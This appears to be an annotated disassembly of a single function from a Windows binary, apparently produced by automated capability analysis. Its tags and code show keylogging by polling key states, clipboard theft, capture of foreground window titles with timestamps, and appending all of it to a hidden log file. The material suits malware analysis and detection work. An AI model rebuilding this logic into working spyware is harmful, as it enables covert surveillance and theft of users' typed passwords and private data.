Function at 0x180031d20
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Log keystrokes via polling
Open clipboard
Read clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1880
call fcn.180035e50
sub rsp, rax
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x1870], rax
mov ecx, 0x28
call fcn.1800355f8
mov rdi, rax
lea rcx, [rsp + 0x70]
xorps xmm0, xmm0
xor eax, eax
xor edx, edx
mov r8d, 0x800
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
call fcn.18003b0b0
lea r13, str._esc_
nop dword [rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1800ff1dc]
cmp eax, 0x5dc
jbe 0x180031f2f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xchg dword [0x1800ff1dc], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, recv
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
test rax, rax
je 0x180031f29
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rcx, rsi
lea ebp, [rax*2 + 2]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbx, rax
test rax, rax
je 0x180031f20
cmp ebp, 0x800
jge 0x180031f20
lea r8, [rsp + 0x1070]
mov rcx, rax
sub r8, rax
nop dword [rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x180031e34
add rcx, 2
test eax, eax
jne 0x180031e20
test edx, edx
je 0x180031f20
movsxd r8, ebp
lea rcx, [rsp + 0x1070]
mov rdx, rbx
call fcn.18003a960
mov r8, rbx
lea rdx, [0x18007a510]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [0x1800fe410]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
lea rcx, [0x1800fdff0]
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180031f0e
mov r9d, 2
mov dword [rsp + 0x54], 0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x54]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x70]
mov rcx, rbx
lea r8d, [rax + rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1800fe410]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x800
call fcn.18003b0b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
lea rcx, [0x1800fe420]
mov r8d, 0x800
call fcn.18003b0b0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x800
lea rdx, [0x1800fe420]
mov rcx, rax
mov qword [0x1800fe418], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
lea rcx, [rsp + 0x870]
mov r8d, 0x800
call fcn.18003b0b0
mov rax, qword [0x1800ff1d0]
cmp qword [0x1800fe418], rax
je 0x1800320f0
lea rcx, [0x1800fe420]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1800320e2
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx eax, word [rsp + 0x6c]
movzx r10d, word [rsp + 0x62]
movzx r9d, word [rsp + 0x60]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x870]
mov dword [rsp + 0x30], edx
lea rdx, [0x18007a530]
mov dword [rsp + 0x28], r8d
lea r8, [0x1800fe420]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [0x1800fe410]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
lea rcx, [0x1800fdff0]
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800320b2
mov r9d, 2
mov dword [rsp + 0x58], 0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rcx, [rsp + 0x870]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x870]
mov rcx, rbx
lea r8d, [rax + rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1800fe410]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
lea rcx, [0x1800fe420]
mov r8d, 0x800
call fcn.18003b0b0
mov rax, qword [0x1800fe418]
lea rcx, [0x18007a590]
mov qword [0x1800ff1d0], rax
call fcn.180031c60
jmp 0x1800320f0
mov rax, qword [0x1800fe418]
mov qword [0x1800ff1d0], rax
mov rcx, qword [0x1800fe408]
test rcx, rcx
je 0x180032127
mov dword [0x1800fec20], 0x3c
lea r9, [0x1800fec20]
mov rax, qword [rcx]
lea r8, [0x1800fec30]
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
xor r12d, r12d
cmp dword [0x1800fec20], r12d
mov dword [rsp + 0x50], r12d
jle 0x1800322ca
lea r15, [0x1800fec34]
nop dword [rax]
nop word [rax + rax]
xor ebx, ebx
lea r14, [0x1800f81e8]
mov r12d, 0xff7f
nop
mov eax, dword [r15 - 4]
dec eax
cmp eax, dword [r14]
jne 0x18003229d
test byte [r15], 0x80
je 0x18003226d
cmp ebx, 0x39
jne 0x18003219f
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
add ax, 0x7f
test r12w, ax
mov eax, 0
sete al
mov dword [0x1800fe400], eax
jmp 0x1800321b7
cmp ebx, 0x29
je 0x180032245
cmp ebx, 0x35
je 0x180032245
mov eax, dword [0x1800fe400]
cmp dword [0x1800fe404], 0
je 0x180032205
mov eax, ebx
imul rsi, rax, 0x7c
lea rbp, [rsi + r13]
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800321de
lea r9, [rbp + 0x28]
jmp 0x180032230
cmp dword [0x1800fe400], 0
je 0x1800321ff
lea rbp, [rsi + r13]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1800321ff
lea r9, [rbp + 0x50]
jmp 0x180032230
lea r9, [rsi + r13]
jmp 0x180032230
mov esi, ebx
test eax, eax
je 0x180032229
imul rbp, rsi, 0x7c
lea rcx, [r13 + 0x50]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x180032229
lea r9, [r13 + 0x50]
add r9, rbp
jmp 0x180032230
imul r9, rsi, 0x7c
add r9, r13
mov r8, rdi
lea rdx, [0x18007a5b0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18003229d
mov eax, ebx
lea rdx, [0x18007a580]
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x1800fe404], 1
jmp 0x18003229d
cmp ebx, 0x29
je 0x180032277
cmp ebx, 0x35
jne 0x18003229d
mov eax, ebx
lea rdx, [0x18007a5a0]
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x1800fe404], 0
inc ebx
add r14, 0x7c
cmp ebx, 0x66
jl 0x180032160
mov r12d, dword [rsp + 0x50]
add r15, 0x18
inc r12d
cmp r12d, dword [0x1800fec20]
mov dword [rsp + 0x50], r12d
jl 0x180032150
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x180031d90
mov rcx, rdi
call fcn.180031c60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
jmp 0x180031d90